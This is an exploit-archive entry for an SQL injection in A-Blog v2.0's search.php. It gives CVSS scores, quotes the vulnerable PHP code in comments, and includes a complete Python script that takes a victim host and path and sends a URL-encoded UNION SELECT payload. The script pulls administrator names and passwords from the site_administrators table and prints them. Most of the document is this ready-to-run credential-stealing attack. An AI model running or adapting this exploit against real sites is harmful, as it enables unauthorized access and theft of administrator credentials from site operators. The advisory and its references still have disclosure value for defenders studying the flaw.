A-Blog v2.0 (sources/search.php) SQL Injection Exploit

2011.10.12
Risk: High
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/python # # Exploit Title: A-Blog v2.0 (sources/search.php) SQL Injection Exploit # Date : 05 September 2010 # Author : Ptrace Security (Gianni Gnesa [gnix]) # Contact : research[at]ptrace-security[dot]com # Software Link: http://sourceforge.net/projects/a-blog/ # Version : 2.0 # Tested on : EasyPHP 5.3.1.0 for Windows with Python 3.1 # # # Description # =========== # # + sources/search.php => This few lines of code strip whitespaces from the # beginning and end of the 'words' GET parameter. Then, # all the whitespaces are replaced with %. # # 12: if ((array_key_exists('words', $_GET)) && ($_GET['words'] == '')) { # 13: callback_js("page=results&words=$searchwords"); # 14: } # 15: # 16: else{ # 17: if ((array_key_exists('words', $_GET))) { # 18: $words2 = trim($_GET['words']); # 19: } # 20: $search = str_replace(" ", "%", "$words2"); # 21: } # # # + sources/search.php => The string returned from the previous code is used in # the query below without being sanitized. # # 33: $sql = "SELECT * FROM site_news WHERE title LIKE '%$search%' OR home_text # LIKE '%$search%' OR extended_text LIKE '%$search%'"; # 34: $sql_result = mysql_query($sql,$connection) or die ("Couldnt execute query"); # # # + sources/search.php => Then, the results are echoed # # 39: while($row = mysql_fetch_array($sql_result)){ # 40: # 41: $id = $row['nid']; # 42: $title = $row['title']; # 43: $home = $row['home_text']; # 44: $extended = $row['extended_text']; # 45: # 46: echo "<li><a href='blog.php?view=news&id=$id' title='Read $title'>$title</a></li>"; # 47: } # import re import sys import textwrap import http.client def usage(program): print('Usage : ' + program + ' <victim hostname> <path>\n') print('Example: ' + program + ' localhost /A-BlogV2/') print(' ' + program + ' www.victim.com /complete/path/') return def removeDuplicates(mylist): d = {} for elem in mylist: d[elem] = 1 return list(d.keys()) def exploit(target, path): payload = 'search.php?words=%25%27/%2A%2A/UNION/%2A%2A/SELECT/%2A%2A/1%2C' payload += 'CONCAT%28%27%3C1%3E%27%2Cname%2C%27%3A%27%2Cpassword%2C%27%3C2' payload += '%3E%27%29%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10/%2A%2A/FROM/%2A%2A/' payload += 'site_administrators/%2A%2A/%23' print('[+] Sending HTTP request\n') print(textwrap.fill('GET ' + path + payload) + '\n') con = http.client.HTTPConnection(target) con.request('GET', path + payload) res = con.getresponse() if res.status != 200: print('[!] HTTP GET request failed') exit(1) print('[+] Parsing HTTP response') data = res.read().decode() pattern = re.compile(r"<1>([\w:]+?)<2>", re.M) credentials = removeDuplicates(pattern.findall(data)) if len(credentials) > 0: print('[+] Credentials found\n') for element in credentials: print(element) else: print('[!] Credentials not found') return print('\n+---------------------------------------------------------------------------+') print('| A-Blog v2.0 (sources/search.php) SQL Injection Exploit by Ptrace Security |') print('+---------------------------------------------------------------------------+\n') if len(sys.argv) != 3: usage(sys.argv[0]) else: exploit(sys.argv[1], sys.argv[2]) exit(0)

References:

http://xforce.iss.net/xforce/xfdb/61600
http://www.vupen.com/english/advisories/2010/2297
http://www.securityfocus.com/bid/42988
http://www.exploit-db.com/exploits/14894
http://packetstormsecurity.org/1009-exploits/ablog-sql.txt


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